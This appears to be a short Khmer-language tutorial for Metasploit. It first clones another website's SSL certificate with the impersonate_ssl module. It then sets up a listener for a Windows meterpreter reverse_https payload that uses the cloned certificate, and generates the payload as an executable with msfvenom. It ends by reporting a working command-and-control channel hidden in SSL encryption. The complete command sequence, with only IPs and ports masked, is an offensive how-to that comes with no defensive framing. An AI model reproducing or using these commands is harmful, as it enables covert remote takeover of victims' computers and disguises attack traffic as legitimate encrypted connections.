Clone SSL Certification

តើអ្នកដឹងទេថា យើងអាចធ្វើការថតចម្លងនូវរាល់ឯកសារ SSL Certificate របស់គេហទំព័រដទៃបាន ដោយប្រើប្រាស់ Module មួយនៅក្នុង Metasploit Framework ដែលត្រូវបានបង្កើតឡើងដោយលោក Chris John Riley ។ ឯកសារដែលត្រូវបានថតចម្លងនោះ នឹងត្រូវរក្សាទុកជាប្រភេទទម្រង់ឯកសារ PEM ហើយវាក៏អាចប្រើប្រាស់បានគ្រប់ប្រភេទ Modules នៅក្នុង Metasploit ផងដែរ។

ដើម្បីថតចម្លង យើងអាចប្រើប្រាស់ពាក្យបញ្ជាដូចខាងក្រោម៖

1
2
3

use auxiliary/gather/impersonate_ssl
set rhosts https://example.com/
exploit

ដូចដែលរូបបានបង្ហាញខាងលើ គឺយើងបានថតចម្លងឯកសារ Certificate បានសម្រេច។

Meterpreter Using SSL Connection

ខាងក្រោមនេះគឺជាការសាកល្បងប្រើប្រាស់ SSL Certificate ដែលបានថតចម្លងនោះមកភ្ជាប់ទំនាក់ទំងរវាង Attacker PC និង Victim PC ដោយប្រើប្រាស់ Reverse Shell ជាប្រភេទ HTTPS ។

បើកចូលផ្ទាំង Terminal នៃ Metasploit Framework រួចបញ្ចូលពាក្យបញ្ជាដូចខាងក្រោម៖

1
2
3
4
5
6
7

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.xxx.xxx
set lport xxx
set stagerverifysslcert true
set handlersslcert /xxx/xxx/xxx/cert.pem
exploit

Generate HTTPS Malicious Payload

បង្កើតមេរោគតាមរយៈ Msfvenom និងជ្រើសរើស HTTPS Reverse Shell ។

1

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.xxx.xxx lport=xxx -f exe -b '\x00' -o ~/Desktop/s0rry.exe

Exploited

សាកល្បងបើកដំណើរការមេរោគក្នុងប្រព័ន្ធប្រតិបត្តិការវីនដូ។

ជោគជ័យ!!! C2 ពេលនេះដំណើរការនៅលើ SSL Encryption ៕